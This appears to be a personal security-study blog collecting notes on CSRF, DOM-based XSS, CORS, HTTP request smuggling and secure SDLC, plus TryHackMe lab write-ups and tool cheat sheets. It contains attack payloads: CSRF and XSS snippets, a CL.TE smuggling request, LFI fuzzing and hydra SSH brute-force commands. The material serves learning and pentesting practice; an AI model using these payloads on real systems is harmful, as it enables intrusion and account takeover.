Even though Flash is no longer supported, a talk about Flash-based cross-site request forgery threats is instructive, particularly for legacy systems that still rely on antiquated technologies.
A malicious Flash file (.swf) posted on the attacker’s website would typically send unauthorised requests to other websites to carry out Flash-based CSRF attacks.

Basic CSRF - Hidden Link/Image Exploitation

A covert technique known as hidden link/image exploitation in CSRF involves an attacker inserting a 0x0 pixel image or a link into a webpage that is nearly undetectable to the user.
Typically, the src or href element of the image is set to a destination URL intended to act on the user’s behalf without the user’s awareness. It takes benefit of the fact that the user’s browser transfers credentials like cookies automatically.
```
 
<a href="https://mybank.thm/transfer.php" target="_blank">Click Here</a> 

```

A CSRF token is a unique, unpredictable value associated with a user’s session, ensuring each request comes from a legitimate source.
One effective implementation is the Double Submit Cookies technique, where a cookie value corresponds to a value in a hidden form field. When the server receives a request, it checks that the cookie value matches the form field value, providing an additional layer of verification.

How it works?

Token Generation: When a user logs in or initiates a session, the server generates a unique CSRF token. This token is sent to the user’s browser both as a cookie (CSRF-Token cookie) and embedded in hidden form fields of web forms where actions are performed (like money transfers).
User Action: Suppose the user wants to transfer money. The user fills out the transfer form on the website, which includes the hidden CSRF token.
Form Submission: Upon submitting the form, two versions of the CSRF token are sent to the server: one in the cookie and the other as part of the form data.
Server Validation: The server then checks if the CSRF token in the cookie matches the one sent in the form data. If they match, the request is considered legitimate and processed; if not, the request is rejected.

Possible vulnerable scenarios

Despite its effectiveness, it’s crucial to acknowledge that hackers are persistent and have identified various methods to bypass Double Submit Cookies:
- Session Cookie Hijacking (Man in the Middle Attack): If the CSRF token is not appropriately isolated and safeguarded from the session, an attacker may also be able to access it by other means (such as malware, network spying, etc.).
- Subverting the Same-Origin Policy (Attacker Controlled Subdomain): An attacker can set up a situation where the browser’s same-origin policy is broken. Browser vulnerabilities or deceiving the user into sending a request through an attacker-controlled subdomain with permission to set cookies for its parent domain could be used.
- Exploiting XSS Vulnerabilities: An attacker may be able to obtain the CSRF token from the cookie or the page itself if the web application is susceptible to Cross-Site Scripting (XSS). By creating fraudulent requests with the double-submitted cookie CSRF token, the attacker can get around the defence once they have the CSRF token.
- Predicting or Interfering with Token Generation: An attacker may be able to guess or modify the CSRF token if the tokens are not generated securely and are predictable or if they can tamper with the token generation process.
- Subdomain Cookie Injection: Injecting cookies into a user’s browser from a related subdomain is another potentially sophisticated technique that might be used. This could fool the server’s CSRF protection system by appearing authentic to the main domain.

Samesite cookies come with a special attribute designed to control when they are sent along with cross-site requests.
Its implementation is reliable safeguard against cross origin data leaks, CSRF, and XSS attacks.
Depending on the request’s context, it tells the browser to transmit the cookie.
Strict, Lax and None are the three possible values for the Samesite attribute.

Type of Samesite Cookies

Lax: Provide moderate level protection by allowing cookies to be sent in top-level navigation and safe HTTP methods like GET, HEAD, and OPTIONS. This means that cookies will be not sent with cross-origin POST requests, helping to mitigate certain type of CSRF attacks. However, cookies are still included in GET requests intiated by external websites, which may pose a security risk if senistive information stored in cookies.
Strict: Provide highest level of protection by ensuring cookies are never sent with cross-origin requests, including GET requests intiated by external websites. This makes it more secure but may impact functionality if not implemented carefully.
None: Provide no protection and allow cookies to be sent with all cross-origin requests, including GET requests intiated by external websites. This is the least secure option and should be used with caution.

Lax with POST - Chaining the Exploit

As a pentester, it is important to check the cookies being set by website.
When the SameSite attribute was introduced to increase web security by restricting how cookies are sent in cross-site requests, chrome and other browsers did not enforce a default behavior for cookies without a specified samesite attribute. This meant developers had to explicitly set the SameSite=None to allow cookies to be sent with cross-origin requests.
However, Chrome has changed its behavior to enforce SameSite=Lax as default setting, allwing cookies to be sent in a first party context and with top level navigation GET requests, but not with cross-origin requests.
Chrome also said “It will make an exception for cookies set without a SameSite attribute less than 2 minutes ago. Such cookies will also be sent with POST top-level cross site requests despite a normal SameSite=Lax cookies requiring top-level cross-site requests to hava a GET method.”

Few Additional Exploitation Techniques

XMLHTTPRequest Exploitation

In the context of an AJAX request, CSRF is like someone making your web browser unknowigly send a request to a website where you have logged in. It’s as if someone tricked your browser into doing something on a trusted site without your awareness, potentially causing uninteded actions or changes in your account. CSRF attacks can still succeded even when AJAX requests are subjected to the Seme-ORigin-Policy (SOP), which trypically forbids cross-origin requests.
Here is the example of how an attacker can update a password of mybank.thm and send an asynchronus request to update the email seamlessly.

<script>
 var xhr = new XMLHttpRequest();
 xhr.open("POST", "http://mybank.thm/updatepassword.php", true);
 xhr.setRequestHeader("X-Requestsed-With", "XMLHttpRequest");
 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
 xhr.onreadystatechang = function() {
 if (xhr.readyState = XMLHttpRequest.DONE && xhr.status == 200) {
 alert("ACtion executed")
 }
 };
 xhr.send('actioni=execute&parameter=value');

Same Origin policy (SOP) and Cross-Origin Resource Shareing (CORS) Bypass

CORS and SOP bypass to launch CSRF is like an attacker using to trick to make web browser send requests to different website than the on youre on. Under an appropriate CORS policy, certain requests could only be submitted by recognised origins. However, misconfiguration in CORS policies can allow attackers to circumvent these limitations if they rely on origins that attacker can control or if credentials are included in cross-origins requests.
Below is simple PHP server side script that handles POST requests. It has a vulnerable CORS configuration, allowing requests from any origin, and thus is vulnerable CSRF since it doesnt implement anti CSRF-measures.

<?php // Server-side code (PHP)
 header('Access-Control-Allow-Origin: *'); 
// Allow requests from any origin (vulnerable CORS configuration) .
// code to update email address ?>

Referer Header Bypass

When making an HTTP request, the referer header contains the URL of the last page the user visited before making the current requests. Some websites guard against CSRF by only allowing queries if the referer header matches the domain. The utility of this as a stand-alone CSRF protection solution is reduced when this header may be changed or eliminated, as happens with user-installed browser extensions, privacy tools, or meta tags that instruct the browser to omit the referer.

Defence machanisms

For pentesters/ Red Teamers

CSRF Testing: activerly test application for CSRF vulnerabilities by attempting to execute unauthorized actions through manipulated requests and assess the effectiveness of implemented protections.
Boundary Validaton: Evaluate application’s validation mechanisms, ensuring that user inputs are appropriately validated and anti-csrf tokens are present.
Security Headers Analysis: Assess the presence and effectiveness of security headers, such as CORS, and Refere, to enhance the overall security and prevent various attack vectors, including CSRF.
Session Management TEsting: Examine the application’s session management mechanisms, ensuring that sessions tokens are securely generated, transmitted, and validated to prevvent unauthorized access and actions.

Secure Coders

Integrate anti-csrf tokens into each form or requests.
Set samesite attribute on cookies to Strict or Lax to control when cookies are sent with cross-site requests, minimising the risk of CSRF by resticting the cookie behaviour.
Implement a Strict Referer policy, limiting the information disclosed in the referer header and ensuring that requests come from the trusted sources, there by preventing cross-site requests.
Implement a secure double- submit cookie pattern, where an anti-csrf is stored both in a cookie and as a request parameters.
Secure DEvelopers can implement CAPTCHAS challanges as an additional layer of defence against CSRF attacks especially in the user authentication, form submissions, and account creation processes.

DOM based Attacks

Wed, 04 Mar 2026 00:00:00 +0000

DOM-Based Attacks intro

While there are many different DOM-based attacks, all of them can be summarised by insufficiently validating and sanitising user input before using it in javascript, which will alter the DOM. In modern web application, developers will implement functions that alter the DOM without making any new requestss to weg server or API. For example:
- A user clicks a tab in the navigation pane, As the data on this tab has already been loaded through API requests, the user navigaed to new tab by altering the DOM to set which tab is visible.
- A user filters results shown in the table. As all results have already been loaded, through javascript the existing dataset is reduced and reloaded into the DOM to be displayed to the user.

The source and the sink

As mentioned before, all DOM-based attacks start with untrusted user input making its way to javascript that modifies the DOM.
To simplify the detection of these issues, we refer to them as sources and sinks. A source is the location where untrusted data is provided by user to javascript function, and the sink is the location where the data is used in the javascript to update the DOM.
If there is no sanitisation or validation performed on data between the source and sink, it can lead to DOM-based attack.

DOM-based Open Redirection

Let’s say that frontend developers are using information from the # value to determine the location of navigation for the webapplication. This can lead to a DOM-based open redirect. lets have a look at an example:

goto = location.hash.slice(1) if (goto.startwith('https:')) { location = goto }

The source in this case is the location.hash.slice(1) parameter which will take first # element in the URL. without sanitisation, this value is directly set in the location of the DOM, which is the sink. We can construct the URL like https://realwebsite.com/#https://attacker.com to exploit this issue.
Once the DOM loads, the js will recover the # value of above URL and set it as the location of the DOM, which will redirect the user to the attacker’s website.

DOM Based XSS

It allows attackers to inject js code in the DOM and take full control of the browser.
The most common source of this attack is the URL, and more specifically, URL fragments, which are passed through window.location source. This is because we have the ability to craft a link with malicious fragments to send to users.
In most of cases, fragments are not interpreted by the web server but reflected in the response, leading to DOM-based XSS.
However, it should be noted that most modern browsers will perform URL encoding on the data, which can prevent the attack. This has lead to a decrease in the prevalence of these types of attack through URL as source.

DOM-based XSS via JQuery

Continuing with our web page location example, lets take the following jquery example to navigate the page to last viewed location.

$(window).on('hashchange', function() {
 var element = $(location.hash);
 element[0].scrollIntoView();
});

Since the has value is a source that we have access to, we can inject an XSS payload into Jquery’s $() selector link.
For example, if we were able to set URL as follows https://realwebsite.com#<img src=1 onerror=alert(1)></img>
However, this would only allow us to XSS ourselves. To perform XSS on other users, we need to find a way to trigger the hashchange function automatically. The simplest option would be to leverage an iFrame to deliver our payload: <iframe src="https://realwebsite.com#" on load="this.src+='<img src=1 onerror=alert(1)>'"></iframe>
Once the website is loaded, the src value is updated to now include our XSS payload, triggering the hashchange fuction and , thus, our XSS payload.

XSS Weaponisation

To weaponise DOM baseed XSS, we need to rely on the two conventional delivery methods of XSS payloads, namely storage and reflection. This is why DOM-based XSS, and other DOM-based attacks, are so hard to exploit. Without proper delivery method, you are performing the attack on yourself, and not a target.
To counter this, we either need the webserver to store our payload for later delivery or to deliver the paylaod through reflection. At this point, our DOM-based XSS becomes a stored or reflected XSS attack.

Nexts steps:

https://labs.withsecure.com/publications/getting-real-with-xss

CORS and SOP

Thu, 05 Mar 2026 00:00:00 +0000

Same-Origin Policy (SOP)

SOP is a policy that instructs how web browsers interact between web pages.
According to this policy, a script on one web page can access data on another only if both pages share the same origin. This “origin” is identified by combining the URI scheme, hostname, and port number.
Have a look on below image to understand SOP better.

CORS is a mechanism defined by HTTP headers that allows servers to specify how resources can be requested from different origins.
While the Same-Origin Policy (SOP) restricts web pages by default to making requests to the same domain, CORS enables servers to declare exceptions to this policy, allowing web pages to request resources from other domains under controlled conditions.
CORS operates through a set of HTTP headers that the server sends as part of its response to a browser. These headers inform the browser about the server’s CORS policy, such as which origins are allowed to access the resources, which HTTP methods are permitted, and whether credentials can be included with the requests.

Here are the most common headers used in CORS:

Header	Description
Access-Control-Allow-Origin	This header specifies which domains are allowed to access the resources. For example, Access-Control-Allow-Origin: example.com allows only requests from example.com.
Access-Control-Allow-Methods	Specifies the HTTP methods (GET, POST, etc.) that can be used during the request.
Access-Control-Allow-Headers	Indicates which HTTP headers can be used during the actual request.
Access-Control-Max-Age	Defines how long the results of a preflight request can be cached.
Access-Control-Allow-Credentials	This header instructs the browser whether to expose the response to the frontend JavaScript code when credentials like cookies, HTTP authentication, or client-side SSL certificates are sent with the request.

Simple Requests vs. Preflight Requests

There are two primary types of requests in CORS: simple requests and preflight requests.
Simple requests are those that meet the following criteria:
- The HTTP method is one of the following: GET, HEAD, or POST.
- The HTTP headers are a subset of the following: Accept, Accept-Language, Content-Language, Content-Type (with a value of application/x-www-form-urlencoded, multipart/form-data, or text/plain), and DPR, Downlink, Save-Data, Viewport-Width, and Width.
- The Content-Type header, if present, is one of the following: application/x-www-form-urlencoded, multipart/form-data, or text/plain.
Preflight requests are those that do not meet the criteria for simple requests. These requests are made using the OPTIONS method and include additional headers or methods that are not allowed by the server.
Have a look on how process of CORS works in below image.

Access-Control-Allow-Origin Header (ACAO) in Depth

ACAO header is the most important header in CORS, as it defines which origins are allowed to access the resources.
When a browser makes a cross-origin request, it includes the origin of the requesting site in the HTTP request. The server then checks this origin against its CORS policy. If the origin is permitted, the server includes the Access-Control-Allow-Origin header in the response, specifying either the allowed origin or a wildcard (*), which means any origin is allowed.

ACA0 Configurations

lets see below table for quick view of ACAO Configurations

HTTP Request Smuggling

Sat, 07 Mar 2026 00:00:00 +0000

Introduction

HTTP Request Smuggling is a vulnerability that arises when there are mismatches in different web infrastructure components.
This include proxies, load balancers, and web servers that interpret the boundaries of HTTP requests.
For example, consider a train station where tickets are checked at the multiple points before boarding. If each checkpoint has different critiria for a valid ticket, a traveller could exploit these inconsistencies to board without a valid ticket.
Similarly, in web requests, this vulnerability mainly involves the Content-Length and Transfer-Encoding headers, which indicate the end of the request body. When these headers are manipulated or interpreted across the components, it may result in one request being mixed with another.
Have a look at the following diagram to understand the concept better.
Request splitting or HTTP desync attacks are possible because of the nature of keep-alive connections and HTTP pipelining, which allow multiple requests to be sent over the same TCP connection. Without these mechanisms, request smuggling would not be feasible. When calculating sizes for Content-Lenght (CL) and Transfer-Encoding (TE), its crucial to consider presence of carriage return \r and newline \n characters. These characters are not only part of HTTP protocol’s formatting but also impact the calculations of content sizes.
While testing for this vulnerability, it is important to note that some tools might automatically “fix” the Content-Length header, by default. This means if you are using such tools to run paylaods, your content-Length might get overwritten, potentially changing the test results.
Note that this, vulnerability can potentially break a website in many ways (cache poisoning, other user requests may start failing, or even the back end pipeline might get desynced), so extreme care should be taken when testing this on production website.

Modern Infrastructure

Load balancers and reverse proxies

Load Balancers: These devices or services distribute incoming traffic network across multiple servers to ensure no single server is overwhelmed with too much traffic. This helps in ensuring high availability and reliability by redirecting requests only to online servers that can handle them. Load balancing for web servers is oftne done by reverse proxies. Example: AWS Elastic Load Balancer (ELB), HAProxy, NGINX, F5 BIG-IP etc
Reverse Proxies: These devices sits before one or more web servers and forwards client requests to the appropriate web server. While they can also perform load balancing, their primary purpose is to provide a single access point and control for back-end servers. Example include: NGINX, Apache with mod_proxy module, and Varnish.

Role of Caching Machanisms:

Caching is a technique used to store and reuse previously fetched data or computed results to speed up subsequent requests and computations. In the context of web infracture:
- Content Caching: By storing web content that doesnt change frequently (like images, css, js files), caching reduces the load on origin servers and improves response times for users.
- DB Query Caching: By storing the results of expensive database queries, caching reduces the load on databases and improves response times for users.
- Full-page Caching: By storing entire web pages, need of regenerating them for each user is eliminated. Its usefull for websites with high traffic and static content.
- Edge Caching/CDNs: Content Delivery Networks (CDNs) cache content on closer to their users (at the “edge” of the network), reducing the latency and speeding up access for the users around the world.
- API Caching: Caching responses can significantly reduce the back-end processing for APIs thta serve similar requests repeatedly.
Have a look at the diagram below for a better understanding of how caching works in modern web infrastructure:

Content-Length/Transfer-Encoding Smuggling (HTTP 1.1)

In CL.TE, the attacker exploits the discrepancies between how different servers (typincally front-end and back-end servers) prioritize these headers to manipulate how requests are processed.
For example:
- The proxy uses the Content-Length header to determine the end of request.
- The back-end server uses the Transfer-Encoding header.
Have a look at the diagram below for a better understanding:

Exploiting CL.TE for Request Splitting

To exploit CL.TE, an attacker crafts a request that includes both the headers, ensuring that the front-end and back-end server interpret the request boundaries differently. For example, an attacker can send a request like

POST /search HTTP/1.1
Host: example.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /update HTTP/1.1
Host: example.com
Content-Length: 13
Content-Type: application/x-www-form-urlencoded

isAdmin=true

When creating a request smuggling payload, if the Content-Length is not equal to the actual length of the request body, several problem might arise.
First, the server might process only the portion of the request body that matches the Content-Length. This could result in the smuggled part of the request being ignored or not processed as intended.

Exploiting TE.CL for Request Splitting

This is opposite of the CL.TE method. In this case, the discrepancy occurs when header interpretation is flipped because the front-end server prioritizes the Transfer-Encoding header to determine the end of request, while the back-end server relies on the Content-Length header.

SDLC

Tue, 14 Apr 2026 00:00:00 +0000

1. What is SDLC?

The Software Development Lifecycle is a set of practices that make up a framework to standardise building software applications. SDLC defines the tasks to perform at each software development stage. This methodology aims to improve the quality of the software and the development process to exceed customer expectations and meet deadlines and cost estimates.
The aim of SDLC is to establish repeatable processes and predictable outcomes from which future projects can benefit. SDLC phases are usually divided into 6-8 phases.
- Planning: The planning phase encompasses all aspects of project and product management. This includes resource allocation, project scheduling, cost estimation etc.
- Requirements Definition: is considered part of planning to determine what the application is supposed to do and its requirements.
- Design & Prototyping: establishing how the software application will work, programming language, methods to communicate with each other, architecture etc
- Software Development: entails building the program, writing code and documentation.
- Testing: In this phase, we ensure components work and can interact with each other.
- Deployment: in this stage, the application or project is made available to users.
- Operations & Maintenance: this is where engineers respond to issues in the application or bugs and flaws reported by users and sometimes plan additional features in future releases.

2. What is Secure Software Development Lifecycle (SSDLC) ?

During SDLC, security testing was introduced very late in the lifecycle. Bugs, flaws, and other vulnerabilities were identified late, making them far more expensive and time-consuming to fix. In most cases, security testing was not considered during the testing phase, so end-users reported bugs after deployment. Secure SDLC models aim to introduce security at every stage of the SDLC.
A study conducted by the Systems and Sciences institute at IBM discovered that it costs six times more to fix a bug found during implementation than one identified as early as during the design phase. It also reported that it costs 15 times more if flaws are identified during testing and up to 100 times more costly if identified during the maintenance and operation phases.

2.1 Understanding security posture

Perform gap analysis to identify what activities and policies exist in your organisation and how effective they are.
Create software security intiatives (SSI) by establishing realistic and achievable goals with defined metrics for success.
Formalise processes for security activities within your SSI.
Invest in security training for engineers as well for appropriate tools.

2.2 SSLDC Processes

Generally speaking, a secure SDLC involves integrating processes like security testing and other activities into an existing development process. The following are some of the key processes:
- Risk Assessment - during the early stages of SDLC, it is essential to identify security considerations that promote a security by design approach when functional requirements are gathered in the planning and requirements stages.
  - Qualitative Risk Assessment (subjective like high, low etc). Risk formula, Risk = Severity x Likelihood
  - Quantitative Risk Assessment (numbers)
- Threat Modelling - is the process of identifying potential threats when there is a lack of appropriate safeguards. It is very effective when following a risk assessment and during the design stage of the SDLC, as Threat Modelling focuses on what should not happen. In contrast, design requirements state how the software will behave and interact.
  - STRIDE, DREAD, and PASTA are among the common threat modelling methodologies.
  - STRIDE stands for Spoofing, Tampering, Repudiation, Information Disclosure, Denial Of Service, and Elevation/Escalation of Privilege. We can use STRIDE to identify threats, including the property violated by the threat and definition.
  - DREAD stands for five questions about each potential threat: Damage Potential, Reproducibility, Exploitability, Affected Users, and Discoverability. It ranks threats by assigning scores based on their severity and risk probability.
  - PASTA stands for Process for Attack Simulation and Threat Analysis. It aligns technical requirements with business objectives and provides a strategic view of threats.
- Code Scanning / Review - Code reviews can be either manual or automated, leveraging Static and Dynamic Security testing technologies crucial in Development stages.
  - Static analysis examines source code without executing programs, while Dynamic analysis looks at source code during runtime. Static analysis detects bugs at implementation level, while dynamic analysis detects errors during program runtime.
  - SAST (Static Application Security Testing) is a white box method used to scan source code for security vulnerabilities that could provide backdoors for attackers.
  - Software Composition Analysis (SCA) is used to scan dependencies for security vulnerabilities, helping development teams track and identify any open-source component brought into a project. SCA is now an essential pillar in security testing as modern applications are increasingly composed of open-source code.
  - DAST (Dynamic Application Security Testing), a black-box testing method that finds vulnerabilities at runtime in applications, mostly webapps in production deployments, and send alerts to security teams.
    - DAST works by simulating automated attacks on an application, mimicking a malicious attacker. The goal is to find unexpected outcomes or results that attackers could use to compromise an application.
  - IAST (Interactive Application Security Testing), analyses code for security vulnerabilities while the app is running. It is usually deployed side by side with the main application on the application server. It is an application security tool designed for web and mobile applications to detect and report issues evn while running.
  - Before someone can fully comprehend IAST’s understanding, the person must know what SAST and DAST mean. IAST was developed to stop all the limitations in both SAST and DAST. It uses the Grey Box Testing Methodology.
  - RASP (Runtime Application Self Protection) is a runtime application integrated into an application to analyse inward and outward traffic and end-user behavioural patterns to prevent security attacks. This tool is different from the other tools as RASP is used after product release, making it a more security-focused tool when compared to the others that are known for testing.
- Security Assessments - Penetration Testing and Vulnerability Assessments are forms of automated testing that identify critical paths in applications that may lead to exploitation of vulnerabilities.
  - Vulnerability Assessments focus on Finding Vulnerabilities, but do not validate them or simulate the findings to prove they are exploitable in reality. Typically, automated tools run against an organisation’s network and systems. Examples of tools: are OpenVAS, Nessus (Tenable), and ISS Scanner. The result is a report with a list of vulnerabilities usually found, with an automated threat level severity classification
  - Penetration Testing includes Vulnerability Testing but goes more in-depth. It is extended by testing/validating of vulnerabilities, quantifying risks and attempting to penetrate systems. For example, trying to escalate privileges after a vulnerability is found, some vulnerabilities can be a lower risk but can be used as leverage to cause more damage

3. Pipelines Notes

Git never forgets, if developers commit sensitive information like API keys, passwords, or tokens, they will be available in the commit history forever unless removed.
So tools like GittyLeaks, which would scan through the commits for sensitive information.
Log4j Zero day effected software list - https://github.com/cisagov/log4j-affected-db/tree/develop/software_lists
In modern pipelines, unit testing can be used as quality gates. Test cases can be integrated into the Continuous Integration and Continuous Deployment (CI/CD) part of the pipeline, where the build will be stopped from progressing if these test cases fail. However, unit testing is usually focused on functionality and not security.

WiFi Hack Setup Guide - Atheros AR9271

Sun, 29 Mar 2026 00:00:00 +0000

Overview

This guide walks you through the painful process of weaponizing an Atheros AR9271 WiFi adapter with your Linux machine and VM running inside it on KVM/QEMU.

Prerequisites

A Linux host machine with KVM/QEMU
VM on KVM/QEMU
An Atheros AR9271 WiFi adapter

Chapter 1: Host Machine Reconnaissance

1.1 Identifying the WiFi Adapter

Recently I purchased a WiFi adapter for my pentesting lab on Amazon. I verified clearly in the product description that it supports monitor mode and packet injection: “2.4GHz 802.11n 150Mbps USB Wireless WiFi Adapter with 3dBi External Antenna for Atheros AR9271 Kali Linux Ubuntu Centos Desktop Windows, Black”
After receiving it, I noticed there’s no proper white label or branding on the product body indicating it belongs to a particular company. I’m a bit tense because I thought it might be a duplicate product. But after a little research, I found that this is quite common for these generic adapters.

So, without wasting more time, I plugged the device into my Linux host machine and checked if it was detected.

# Initially I checked it with lspci, and it turns out it only lists devices
# connected to the PCI bus like graphics cards, internal WiFi cards, etc.
lspci | grep Network
# 04:00.0 Network controller: MEDIATEK Corp. Device 9999

# Since the inserted device is a USB wireless adapter, it connects via USB bus
# Its vendor_id: 0xfw, product_id: 0x9213
lsusb | grep -i AR9271
# Bus 001 Device 010: ID 0xfw:9213 Qualcomm Atheros Communications AR9271 802.11n

# It's good to know that the device is recognized, now let's check the connections
ip link show
# 20: wlxbc307e231dg8: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN mode DORMANT group default qlen 1000
# link/ether 16:16:36:71:f7:d8 brd ff:ff:ff:ff:ff:ff permaddr bc:33:7e:29:2c:f1

It seems all good, please make note of the interface name wlxbc307e231dg8 and the MAC address bc:33:7e:29:2c:f1.
I understand the weird name of the interface, and we can try to rename it to something shorter in the next steps.

1.2 Testing Monitor Mode and Packet Injection in Linux Host

Without thinking much, I started playing with the Aircrack-ng suite.

Include - Web Pentesting - Tryhackme

Sun, 15 Mar 2026 00:00:00 +0000

Added 10.48.159.228 include.thm to /etc/hosts

Upon the nmap scan, we discovered there are two webservers running on the machine.

#Nmap 7.95 scan initiated Sat Feb 28 07:26:57 2026 as: nmap -A -p4000,50000 -sC --script=*http-vuln* -oN include-new.nmap 10.48.159.228
Nmap scan report for 10.48.159.228
Host is up (0.024s latency).

PORT STATE SERVICE VERSION
4000/tcp open http Node.js (Express middleware)
50000/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.19 (96%), Linux 4.15 (95%), Linux 5.4 (95%), Adtran 424RG FTTH gateway (92%), Android 9 - 10 (Linux 4.9 - 4.14) (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.11 (92%), Linux 3.7 - 4.19 (92%), Synology DiskStation Manager 5.1 (Linux 3.2) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops

Directory enumeration on both webservers didn’t yield any useful results.
http://include.thm:4000 - The creator is allowing me to sign in with guest/guest
Upon signing in, I opened my profile with http://include.thm:4000/friend/1. I discovered that the website is vulnerable to IDOR.
And I also discovered that it’s allowing me to change the profile parameters including admin status. I just added isAdmin=true in the input fields and it worked. Now I am admin and I can see the Admin Settings option.
We can also try here like __proto__:{isAdmin:true} to make everyone as admin. (Prototype pollution)
Upon looking at the API option, it lists a few endpoints that reveal admin credentials.
Upon looking at the Admin Settings, I found a file upload option. By inspecting the HTTP request using Burp, I get to know that the file upload is vulnerable to SSRF. I used the endpoints mentioned in the API as the URL parameter, and it worked, revealing the admin credentials.
Used these admin credentials in http://include.thm:50000/login.php and I can see the first flag.
Upon inspecting the source of http://include.thm:50000/dashboard.php, there is a picture included with the path http://include.thm:50000/profile?img=profile.png. And it’s easy to suspect that this is vulnerable to LFI.

So, I got the list of payloads from https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/refs/heads/master/LFI%20payloads.txt, and tried them all.

curl -fsSL https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/refs/heads/master/LFI%20payloads.txt > lfipayload.txt
ffuf -u http://include.thm:50000/profile.php?img=FUZZ -w payloads -H 'Cookie: PHPSESSID=vd4grnj98tqti28pc9lkc3dleu; connect.sid=s%3A5nvACvg5GVI-6f5cQxtCADkInn0mGaXp.9OzVoXF%2FllJgSXipRexPSF%2BZUG6sog6%2BtPrx%2Ffeu%2B8g' -mc 200 -fs 0

It will reveal the file /etc/passwd with users: charles, joshua

Let’s brute force the SSH passwords for these users.

hydra -l charles -P /usr/share/wordlists/rockyou.txt ssh://include.thm -I -t 4 # 123456
hydra -l joshua -P /usr/share/wordlists/rockyou.txt ssh://include.thm -I -t 4 # 123456

Get inside via SSH as charles or joshua and get the second flag from the /var/www/html directory.

Unlock Bootloader in Android, Root it, and Install Kali Net Hunter

Sat, 28 Feb 2026 00:00:00 +0000

1. Overview:

This miserable guide will drag you through the painful process of unlocking your Android device’s bootloader, rooting it, and installing Kali Linux NetHunter. Follow these steps desperately if you want to succeed, or don’t, whatever.

2. Prerequisites:

2.1 Hardware Requirements

Some Android device that hopefully works with NetHunter
A USB cable that hopefully isn’t broken
Linux computer (Ubuntu/Debian, because we’re all suffering anyway)

2.2 Software Requirements

ADB (Android Debug Bridge) and Fastboot tools
Android Studio (optional, comes with those platform tools we need)
Let’s figure out how to install these damn tools with one of these two desperate options:

# Option:1
# Install ADB and Fastboot using package manager
sudo apt update
sudo apt install android-tools-adb android-tools-fastboot

# Option:2
# If you have Android Studio installed, the tools are located at:
ls -l $HOME/Android/Sdk/platform-tools/
# Add to your PATH for easier access:
echo 'export PATH=$PATH:/path/to/Android/Sdk/platform-tools' >> ~/.bashrc
source ~/.bashrc

2.3 Setting Up USB Debugging

Enable Developer Options on Android

Injectics - Web-pentesting - Tryhackme

Sun, 08 Feb 2026 00:00:00 +0000

Part1: Reconnissance

Upon Nmap scap at the given target machine, reveals a webserver running at 80.
HTPP Server: Apache/2.4.41 (Ubuntu)
A quick visit on site, reveals it has
- Home Page
- Login Page
- Admin Login Page
Having a look at source of Home page (http://10.49.134.13/index.php), gives some qlues
- Website developed by John Tim- dev@injectics.thm
- Mails are stored in mail.log file
Looking at mail.log (http://10.49.134.13/mail.log)
- John said in mail to superadmins that “I have configured the service to automatically insert default credentials into the users table if it is ever deleted or becomes corrupted”
- And a default credentials if table users is deleted.
```
| Email | Password 	 |
|---------------------------|-------------------------|
| superadmin@injectics.thm | superSecurePasswd101 |
| dev@injectics.thm | devPasswd123 |
```
Did a directory enumeration at root of website using dirsearch, which uses its own wordlist available at /usr/lib/python3/dist-packages/dirsearch/db directory.

dirsearch - Web Path Scanner

Sat, 07 Feb 2026 00:00:00 +0000

An advanced web path brute-forcer

Simple Usage

# Most basic search
python3 dirsearch.py -u https://target

# Search for specific extensions
python3 dirsearch.py -e php,html,js -u https://target

# Search with custom wordlist
python3 dirsearch.py -e php,html,js -u https://target -w /path/to/wordlist

Recursion

Recursive brute-force is brute-forcing continuously the after of found directories
For example, if dirsearch finds admin/, it will brute-force admin/* (* is where it brute forces).
To enable this feature, use -r (or –recursive) flag

python3 dirsearch.py -e php,html,js -u https://target -r

You can set the max recursion depth with --max-recursion-depth, and status codes to recurse with --recursion-status

python3 dirsearch.py -e php,html,js -u https://target -r --max-recursion-depth 3 --recursion-status 200-399

If there are sub-directories that you do not want to brute-force recursively, use –exclude-subdirs

python3 dirsearch.py -e php,html,js -u https://target -r --exclude-subdirs image/,media/,css/

Threads and Asynchronus

The thread number (-t | –threads) reflects the number of separated brute force processes. And so the bigger the thread number is, the faster dirsearch runs.
By default, the number of threads is 25, but you can increase it if you want to speed up the progress.
You can switch to asynchronous mode by --async, let dirsearch use coroutines instead of threads to handle concurrent requests.

python3 dirsearch.py -e php,htm,js,bak,zip,tgz,txt -u https://target -t 20 --async

Prefixes / Suffixes

--prefixes: Add custom prefixes to all entries
--suffixes: Add custom suffixes to all entries

# testing prefixes
python3 dirsearch.py -e php -u https://target --prefixes .,admin,_ -w /path/to/wordlist
# if we pass the wordlist containing `tools` word, then results might looks like
tools
.tools
admintools
_tools

# testing suffixes
python3 dirsearch.py -e php -u https://target --suffixes ~ -w /path/to/wordlist
# if we pass the wordlist containing `internal` word, then results might looks like
internal
internal~

Filters

Use -i | --include-status and -x | --exclude-status to select allowed and not allowed response status-codes

# filtering with response size
python3 dirsearch.py -e php,html,js -u https://target --exclude-sizes 1B,243KB

# filtering with text in repsonse
python3 dirsearch.py -e php,html,js -u https://target --exclude-texts "403 Forbidden"

python3 dirsearch.py -e php,html,js -u https://target --exclude-regexps "^Error$"

# Excluding redirects to auth servers
python3 dirsearch.py -e php,html,js -u https://target --exclude-redirects "https://(.*).okta.com/*"

python3 dirsearch.py -e php,html,js -u https://target --exclude-response /error.html

Exclude extensions

Use -X | --exclude-extensions with an extension list will remove all paths in the wordlist that contains the given extensions

python3 dirsearch.py -u https://target -X jsp

# Wordlist:
# admin.php
# test.jsp

# Resutls:
# admin.php

Scan sub-directories

From an URL, you can scan a list of sub-directories with –subdirs.

python3 dirsearch.py -e php,html,js -u https://target --subdirs /,admin/,folder/

Proxies

dirsearch supports SOCKS and HTTP proxy, with two options: a proxy server or a list of proxy servers.

python3 dirsearch.py -e php,html,js -u https://target --proxy 127.0.0.1:8080
